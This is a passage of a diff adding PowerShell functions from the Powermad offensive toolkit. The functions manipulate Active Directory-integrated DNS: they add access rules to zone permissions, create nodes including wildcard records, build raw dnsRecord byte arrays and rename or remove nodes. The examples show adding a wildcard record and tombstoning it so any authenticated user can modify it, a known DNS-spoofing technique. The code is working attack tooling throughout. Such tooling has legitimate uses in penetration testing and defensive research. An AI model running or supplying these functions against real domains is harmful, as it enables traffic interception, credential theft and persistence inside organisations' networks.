+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+
+ if($Node)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ }
+ else
+ {
+ $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones"
+ }
+
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $NT_account = New-Object System.Security.Principal.NTAccount($Principal)
+ $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
+ $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
+ $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
+ $access_control_type = [System.Security.AccessControl.AccessControlType]$Type
+ $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
+ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ try
+ {
+ $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE)
+ $directory_entry.psbase.CommitChanges()
+
+ if($Node)
+ {
+ Write-Output "[+] ACE added for $Principal to $Node DACL"
+ }
+ else
+ {
+ Write-Output "[+] ACE added for $Principal to $Zone DACL"
+ }
+
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ return $output
+}
+
+function New-ADIDNSNode
+{
+ <#
+ .SYNOPSIS
+ This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP
+ add request.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to add the ADIDNS node.
+
+ .PARAMETER Data
+ For most record types this will be the destination hostname or IP address. For TXT records this can be used
+ for data.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS zone.
+
+ .PARAMETER DNSRecord
+ DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Port
+ SRV record port.
+
+ .PARAMETER Preference
+ MX record preference.
+
+ .PARAMETER Priority
+ SRV record priority.
+
+ .PARAMETER Tombstone
+ Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
+ allows it to be modified or fully tombstoned by any authenticated user.
+
+ .PARAMETER SOASerialNumber
+ The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+ DNS server and querying an SOA record.
+
+ .PARAMETER Static
+ Switch: Zeros out the timestamp to create a static record instead of a dynamic.
+
+ .PARAMETER TTL
+ Default = 600: DNS record TTL.
+
+ .PARAMETER Type
+ Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
+
+ .PARAMETER Weight
+ SRV record weight.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Add a wildcard record to an ADIDNS zone and tombstones the node.
+ New-ADIDNSNode -Node * -Tombstone
+
+ .EXAMPLE
+ Add a wildcard record to an ADIDNS zone from a non-domain attached system.
+ $credential = Get-Credential
+ New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$Data,
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][Byte[]]$DNSRecord,
+ [parameter(Mandatory=$false)][Int]$Preference,
+ [parameter(Mandatory=$false)][Int]$Priority,
+ [parameter(Mandatory=$false)][Int]$Weight,
+ [parameter(Mandatory=$false)][Int]$Port,
+ [parameter(Mandatory=$false)][Int]$TTL = 600,
+ [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+ [parameter(Mandatory=$false)][Switch]$Static,
+ [parameter(Mandatory=$false)][Switch]$Tombstone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if(!$DNSRecord)
+ {
+
+ try
+ {
+
+ if($Static)
+ {
+ $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Static
+ }
+ else
+ {
+ $DNSRecord = New-DNSRecordArray -Data $Data -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight
+ }
+
+ Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
+
+ if($Credential)
+ {
+ $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
+ }
+ else
+ {
+ $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
+ }
+
+ $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $object_category += ",DC=$DC"
+ }
+
+ try
+ {
+ $connection.SessionOptions.Sealing = $true
+ $connection.SessionOptions.Signing = $true
+ $connection.Bind()
+ $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
+ $request.DistinguishedName = $distinguished_name
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null
+
+ if($Tombstone)
+ {
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null
+ }
+
+ $connection.SendRequest($request) > $null
+ Write-Output "[+] ADIDNS node $Node added"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+}
+
+function New-SOASerialNumberArray
+{
+ <#
+ .SYNOPSIS
+ This function gets the current SOA serial number for a DNS zone and increments it by the
+ set amount.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can be used to create a byte array which contains the correct SOA serial number for the
+ next record that will be created with New-DNSRecordArray.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Zone
+ The DNS zone.
+
+ .PARAMETER Increment
+ Default = 1: The number that will be added to the SOA serial number pulled from a DNS server.
+
+ .PARAMETER SOASerialNumber
+ The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+ DNS server and querying an SOA record.
+
+ .EXAMPLE
+ Generate a byte array from the currect SOA serial number incremented by one.
+ New-SOASerialNumberArray
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][Int]$Increment = 1,
+ [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$SOASerialNumber)
+ {
+
+ if(!$DomainController -or !$Domain -or !$Zone)
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ $Zone = $Zone.ToLower()
+
+ function Convert-DataToUInt16($Field)
+ {
+ [Array]::Reverse($Field)
+ return [System.BitConverter]::ToUInt16($Field,0)
+ }
+
+ function ConvertFrom-PacketOrderedDictionary($OrderedDictionary)
+ {
+
+ ForEach($field in $OrderedDictionary.Values)
+ {
+ $byte_array += $field
+ }
+
+ return $byte_array
+ }
+
+ function New-RandomByteArray
+ {
+ param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255)
+
+ [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)})
+ [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+
+ return $random
+ }
+
+ function New-DNSNameArray
+ {
+ param([String]$Name)
+
+ $character_array = $Name.ToCharArray()
+ [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
+
+ if($index_array.Count -gt 0)
+ {
+
+ $name_start = 0
+
+ ForEach ($index in $index_array)
+ {
+ $name_end = $index - $name_start
+ [Byte[]]$name_array += $name_end
+ [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
+ $name_start = $index + 1
+ }
+
+ [Byte[]]$name_array += ($Name.Length - $name_start)
+ [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+ }
+ else
+ {
+ [Byte[]]$name_array = $Name.Length
+ [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+ }
+
+ return $name_array
+ }
+
+ function New-PacketDNSSOAQuery
+ {
+ param([String]$Name)
+
+ [Byte[]]$type = 0x00,0x06
+ [Byte[]]$name = (New-DNSNameArray $Name) + 0x00
+ [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0]
+ [Byte[]]$transaction_ID = New-RandomByteArray 2
+ $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary
+ $DNSQuery.Add("Length",$length)
+ $DNSQuery.Add("TransactionID",$transaction_ID)
+ $DNSQuery.Add("Flags",[Byte[]](0x01,0x00))
+ $DNSQuery.Add("Questions",[Byte[]](0x00,0x01))
+ $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00))
+ $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00))
+ $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00))
+ $DNSQuery.Add("Queries_Name",$name)
+ $DNSQuery.Add("Queries_Type",$type)
+ $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01))
+
+ return $DNSQuery
+ }
+
+ $DNS_client = New-Object System.Net.Sockets.TCPClient
+ $DNS_client.Client.ReceiveTimeout = 3000
+
+ try
+ {
+ $DNS_client.Connect($DomainController,"53")
+ $DNS_client_stream = $DNS_client.GetStream()
+ $DNS_client_receive = New-Object System.Byte[] 2048
+ $packet_DNSQuery = New-PacketDNSSOAQuery $Zone
+ [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery
+ $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null
+ $DNS_client_stream.Flush()
+ $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null
+ $DNS_client.Close()
+ $DNS_client_stream.Close()
+
+ if($DNS_client_receive[9] -eq 0)
+ {
+ Write-Output "[-] $Zone SOA record not found"
+ }
+ else
+ {
+ $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive)
+ $DNS_reply_converted = $DNS_reply_converted -replace "-",""
+ $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001")
+ $SOA_answer_index = $SOA_answer_index / 2
+ $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)]
+ $SOA_length = Convert-DataToUInt16 $SOA_length
+ [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)]
+ $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment
+ [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3]
+ }
+
+ }
+ catch
+ {
+ Write-Output "[-] $DomainController did not respond on TCP port 53"
+ }
+
+ }
+ else
+ {
+ [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3]
+ }
+
+ return [Byte[]]$SOA_serial_number_array
+}
+
+function New-DNSRecordArray
+{
+ <#
+ .SYNOPSIS
+ This function creates a valid byte array for the dnsRecord attribute.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid
+ array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute
+
+ .PARAMETER Data
+ For most record types this will be the destination hostname or IP address. For TXT records this can be used
+ for data.
+
+ .PARAMETER DomainController
+ Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain
+ attached system.
+
+ .PARAMETER Port
+ SRV record port.
+
+ .PARAMETER Preference
+ MX record preference.
+
+ .PARAMETER Priority
+ SRV record priority.
+
+ .PARAMETER SOASerialNumber
+ The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+ DNS server and querying an SOA record.
+
+ .PARAMETER Static
+ Switch: Zeros out the timestamp to create a static record instead of a dynamic.
+
+ .PARAMETER TTL
+ Default = 600: DNS record TTL.
+
+ .PARAMETER Type
+ Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
+
+ .PARAMETER Weight
+ SRV record weight.
+
+ .PARAMETER Zone
+ The DNS zone that will be passed to New-SOASerialNumberArray.
+
+ .EXAMPLE
+ Create a dnsRecord array for an A record pointing to 192.168.0.1.
+ New-DNSRecordArray -Type A -Data 192.168.0.1
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$Data,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][Int]$Preference,
+ [parameter(Mandatory=$false)][Int]$Priority,
+ [parameter(Mandatory=$false)][Int]$Weight,
+ [parameter(Mandatory=$false)][Int]$Port,
+ [parameter(Mandatory=$false)][Int]$TTL = 600,
+ [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+ [parameter(Mandatory=$false)][Switch]$Static,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$Data -and $Type -eq 'A')
+ {
+
+ try
+ {
+ $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
+ Write-Verbose "[+] Data = $Data"
+ }
+ catch
+ {
+ Write-Output "[-] Error finding local IP, specify manually with -DNSData"
+ throw
+ }
+
+ }
+ elseif(!$Data)
+ {
+ Write-Output "[-] -DNSData required with record type $Type"
+ throw
+ }
+
+ try
+ {
+ $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ function New-DNSNameArray
+ {
+ param([String]$Name)
+
+ $character_array = $Name.ToCharArray()
+ [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
+
+ if($index_array.Count -gt 0)
+ {
+
+ $name_start = 0
+
+ ForEach ($index in $index_array)
+ {
+ $name_end = $index - $name_start
+ [Byte[]]$name_array += $name_end
+ [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
+ $name_start = $index + 1
+ }
+
+ [Byte[]]$name_array += ($Name.Length - $name_start)
+ [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+ }
+ else
+ {
+ [Byte[]]$name_array = $Name.Length
+ [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+ }
+
+ return $name_array
+ }
+
+ switch ($Type)
+ {
+
+ 'A'
+ {
+ [Byte[]]$DNS_type = 0x01,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1]
+ [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
+ }
+
+ 'AAAA'
+ {
+ [Byte[]]$DNS_type = 0x1c,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1]
+ [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
+ }
+
+ 'CNAME'
+ {
+ [Byte[]]$DNS_type = 0x05,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+ [Byte[]]$DNS_data = $Data.Length + 2
+ $DNS_data += ($Data.Split(".")).Count
+ $DNS_data += New-DNSNameArray $Data
+ $DNS_data += 0x00
+ }
+
+ 'DNAME'
+ {
+ [Byte[]]$DNS_type = 0x27,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+ [Byte[]]$DNS_data = $Data.Length + 2
+ $DNS_data += ($Data.Split(".")).Count
+ $DNS_data += New-DNSNameArray $Data
+ $DNS_data += 0x00
+ }
+
+ 'MX'
+ {
+ [Byte[]]$DNS_type = 0x0f,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1]
+ [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0]
+ $DNS_data += $Data.Length + 2
+ $DNS_data += ($Data.Split(".")).Count
+ $DNS_data += New-DNSNameArray $Data
+ $DNS_data += 0x00
+ }
+
+ 'NS'
+ {
+ [Byte[]]$DNS_type = 0x02,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+ [Byte[]]$DNS_data = $Data.Length + 2
+ $DNS_data += ($Data.Split(".")).Count
+ $DNS_data += New-DNSNameArray $Data
+ $DNS_data += 0x00
+ }
+
+ 'PTR'
+ {
+ [Byte[]]$DNS_type = 0x0c,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+ [Byte[]]$DNS_data = $Data.Length + 2
+ $DNS_data += ($Data.Split(".")).Count
+ $DNS_data += New-DNSNameArray $Data
+ $DNS_data += 0x00
+ }
+
+ 'SRV'
+ {
+ [Byte[]]$DNS_type = 0x21,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1]
+ [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0]
+ $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0]
+ $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0]
+ $DNS_data += $Data.Length + 2
+ $DNS_data += ($Data.Split(".")).Count
+ $DNS_data += New-DNSNameArray $Data
+ $DNS_data += 0x00
+ }
+
+ 'TXT'
+ {
+ [Byte[]]$DNS_type = 0x10,0x00
+ [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1]
+ [Byte[]]$DNS_data = $Data.Length
+ $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data)
+ }
+
+ }
+
+ [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL)
+ [Byte[]]$DNS_record = $DNS_length +
+ $DNS_type +
+ 0x05,0xF0,0x00,0x00 +
+ $SOASerialNumberArray[0..3] +
+ $DNS_TTL[3..0] +
+ 0x00,0x00,0x00,0x00
+
+ if($Static)
+ {
+ $DNS_record += 0x00,0x00,0x00,0x00
+ }
+ else
+ {
+ $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours
+ $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
+ $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
+ $timestamp = $timestamp[0..3]
+ $DNS_record += $timestamp
+ }
+
+ $DNS_record += $DNS_data
+
+ return [Byte[]]$DNS_record
+}
+
+function Rename-ADIDNSNode
+{
+ <#
+ .SYNOPSIS
+ This function renames an ADIDNS node.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old
+ record within DNS.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to rename the ADIDNS node.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The source ADIDNS node name.
+
+ .PARAMETER NodeNew
+ The new ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Renames an ADIDNS node named test to test2.
+ Rename-ADIDNSNode -Node test -NodeNew test2
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][String]$NodeNew = "*",
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $directory_entry.Rename("DC=$NodeNew")
+ Write-Output "[+] ADIDNS node $Node renamed to $NodeNew"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Remove-ADIDNSNode
+{
+ <#
+ .SYNOPSIS
+ This function removes an ADIDNS node.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and
+ allowed to repliate to all domain controllers, the record will remain in DNS.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to delete the ADIDNS node.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Removes a wildcard node.
+ Remove-ADIDNSNode -Node *
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
